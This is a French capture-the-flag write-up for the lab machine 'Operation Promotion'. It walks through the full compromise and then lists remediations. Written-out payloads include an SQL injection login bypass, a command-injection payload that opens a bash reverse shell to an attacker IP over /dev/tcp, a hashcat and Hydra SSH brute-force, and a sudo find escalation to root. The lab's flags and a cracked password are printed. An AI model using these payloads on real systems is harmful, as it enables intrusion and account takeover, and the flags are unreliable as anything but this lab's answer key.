Write-up - Operation Promotion
Write-up - Operation Promotion
La cible est la machine CTF Operation Promotion (10.128.142.224). Le chemin d’exploitation part d’un portail web RecruitCorp, exploite un accès administrateur faible, abuse d’une fonctionnalité de maintenance pour obtenir un shell, puis utilise un droit sudo mal configuré pour obtenir root.
Synthèse
La compromission suit la chaîne suivante :
- énumération réseau : SSH, HTTP et SMB exposés
- essai d’authentification SMB invité sans accès exploitable aux partages
- découverte du portail web et du panneau
/admin - contournement de l’authentification admin par injection SQL
- énumération IDOR des profils utilisateurs et découverte du compte de service
sysmaint - injection de commande dans
/admin/sysmaint-checks/ping.php - reverse shell en tant que
www-data - fuite du hash de mot de passe de
jforddansdb.conf - génération d’une wordlist à partir de l’indice public Spring 2026 Hiring Drive
- brute-force SSH et accès utilisateur
jford - élévation de privilèges via
sudo /usr/bin/find
Reconnaissance
Le scan TCP complet montre quatre ports ouverts : SSH, HTTP et SMB.
1
2
TARGET=10.128.142.224
nmap -p- -Pn -oA "$TARGET"_full_ports --min-rate 1000 "$TARGET" -v
Une première vérification SMB indique une authentification invitée possible, mais l’énumération des partages échoue avec STATUS_ACCESS_DENIED.
1
nxc smb "$TARGET" -u 'guest' -p '' --shares
Le nom de domaine observé est RECRUITCORP.
1
2
export DC_IP=10.128.142.224
export DOMAIN=RECRUITCORP
L’énumération HTTP révèle notamment /admin, /config, index.php et robots.txt.
1
ffuf -c -w /usr/share/dirb/wordlists/common.txt -u "http://$TARGET/FUZZ"
Accès au panneau administrateur
Le portail /admin expose un formulaire de connexion RecruitCorp Admin. Le champ username accepte une injection SQL classique.
1
admin' OR '1'='1'
Après connexion, le cookie de session PHPSESSID est récupéré depuis le navigateur pour rejouer les requêtes authentifiées.
IDOR sur la recherche utilisateur
L’endpoint /admin/users/lookup.php accepte un paramètre id. Une énumération de 0 à 250 avec le cookie administrateur permet d’identifier plusieurs profils valides.
1
2
3
4
for i in {0..250}; do echo "$i"; done | ffuf -c -w - \
-u "http://$TARGET/admin/users/lookup.php?id=FUZZ" \
-H "Cookie: PHPSESSID=<admin-session>" \
-mc 200 -fs 644
L’identifiant 7 expose le compte de service sysmaint. Sa fiche indique explicitement son rôle et l’endpoint de maintenance associé.
1
2
3
Username: sysmaint
Role: system
Notes: Service account for /admin/sysmaint-checks/ping.php. Do not disable.
L’endpoint /admin/sysmaint-checks/ping.php confirme son format d’utilisation :
1
/admin/sysmaint-checks/ping.php?host=<target>
Injection de commande et shell www-data
Une requête normale vers ping.php exécute une sonde ICMP sur la cible fournie dans host.
1
GET /admin/sysmaint-checks/ping.php?host=127.0.0.1 HTTP/1.1
Le paramètre host est ensuite injectable avec un chaînage de commandes. Le payload utilisé lance un reverse shell vers la machine attaquante.
1
127.0.0.1 && bash -c "bash -i >& /dev/tcp/192.168.153.192/1337 0>&1"
Le listener reçoit un shell en tant que www-data dans le répertoire de l’application web.
1
rlwrap nc -lvnp 1337
Dans /var/www/html/config, le fichier db.conf expose l’utilisateur applicatif jford et un hash bcrypt.
1
cat db.conf
1
2
3
db_user=jford
db_pass_hash=$2b$10$QzkXmGndA2cQLozO3xAN6eWKrl6ZXyzhYTJNF67exOmTmN5oVSEfq
db_engine=sqlite3
Tentative de bruteforce du hash
Avant de construire une wordlist contextualisée, j’ai d’abord tenté de bruteforcer directement le hash bcrypt récupéré dans db.conf. Cette tentative n’a pas donné de résultat exploitable : aucun mot de passe valide n’a été retrouvé avec les candidats testés. Le hash seul n’étant pas suffisant, j’ai ensuite cherché un indice applicatif permettant de générer des mots de passe plus adaptés au contexte de RecruitCorp.
Génération de mot de passe candidat
La page publique de RecruitCorp contient un indice contextuel fort : Spring 2026 Hiring Drive. Cet indice donne une base de mot de passe plausible : spring2026.
Une wordlist est générée à partir de cette base avec la règle dive.rule de Hashcat.
1
2
echo "spring2026" > word.txt
hashcat --stdout word.txt -r /usr/share/hashcat/rules/dive.rule > wordlist.txt
Hydra trouve ensuite un mot de passe SSH valide pour jford.
1
hydra -l jford -P wordlist.txt "$TARGET" ssh
1
2
login: jford
password: spring2026!
Accès SSH jford
La connexion SSH avec jford confirme l’accès utilisateur.
1
2
ssh jford@$TARGET
id
Le flag utilisateur est présent dans le répertoire personnel.
1
2
ls
cat user.txt
Flag obtenu :
1
THM{bdbee0a91ebcb0b0fafde931223efe09}
Élévation de privilèges
L’utilisateur jford peut exécuter /usr/bin/find avec sudo sans mot de passe.
1
sudo -l
GTFOBins indique que find peut lancer un shell lorsque le binaire est autorisé via sudo.
1
find . -exec /bin/sh \; -quit
L’exécution via sudo ouvre un shell root, ce qui permet de lire le flag final.
1
2
3
4
5
sudo /usr/bin/find . -exec /bin/sh \; -quit
id
cd /root
ls
cat flag.txt
Flag obtenu :
1
THM{d999a1f6319a9c5b48c067dfab314ba2}
Tableau récapitulatif des flags
| Étape | Vulnérabilité principale | Flag |
|---|---|---|
| Utilisateur | SQLi, IDOR, injection de commande, fuite de hash et mot de passe faible | THM{bdbee0a91ebcb0b0fafde931223efe09} |
| Root | sudo NOPASSWD sur /usr/bin/find | THM{d999a1f6319a9c5b48c067dfab314ba2} |
Causes racines et remédiations
- Paramétrer les requêtes SQL du formulaire d’administration.
- Protéger
/adminavec une authentification robuste, une gestion de session stricte et une limitation des tentatives. - Ajouter un contrôle d’autorisation serveur sur
/admin/users/lookup.phpet empêcher l’accès horizontal aux fiches utilisateurs. - Ne pas exposer les comptes de service et endpoints sensibles dans des notes accessibles depuis l’interface.
- Éviter toute construction de commande shell avec une entrée utilisateur ; préférer des appels sans shell et une validation stricte des adresses IP.
- Retirer les fichiers de configuration sensibles du répertoire web et stocker les secrets dans un gestionnaire dédié.
- Utiliser des mots de passe longs, non liés au contenu public de l’entreprise, et désactiver l’authentification SSH par mot de passe quand possible.
- Supprimer le droit
NOPASSWDsur/usr/bin/findou le remplacer par une commande dédiée sans possibilité d’exécution arbitraire.
Conclusion
Operation Promotion montre une compromission progressive où chaque faiblesse expose l’étape suivante. L’accès admin obtenu par SQLi permet d’identifier un endpoint de maintenance, l’injection de commande fournit un shell web, puis les secrets applicatifs et un mot de passe devinable permettent d’obtenir un accès SSH. La mauvaise configuration sudo sur find termine la chaîne en donnant un shell root.




















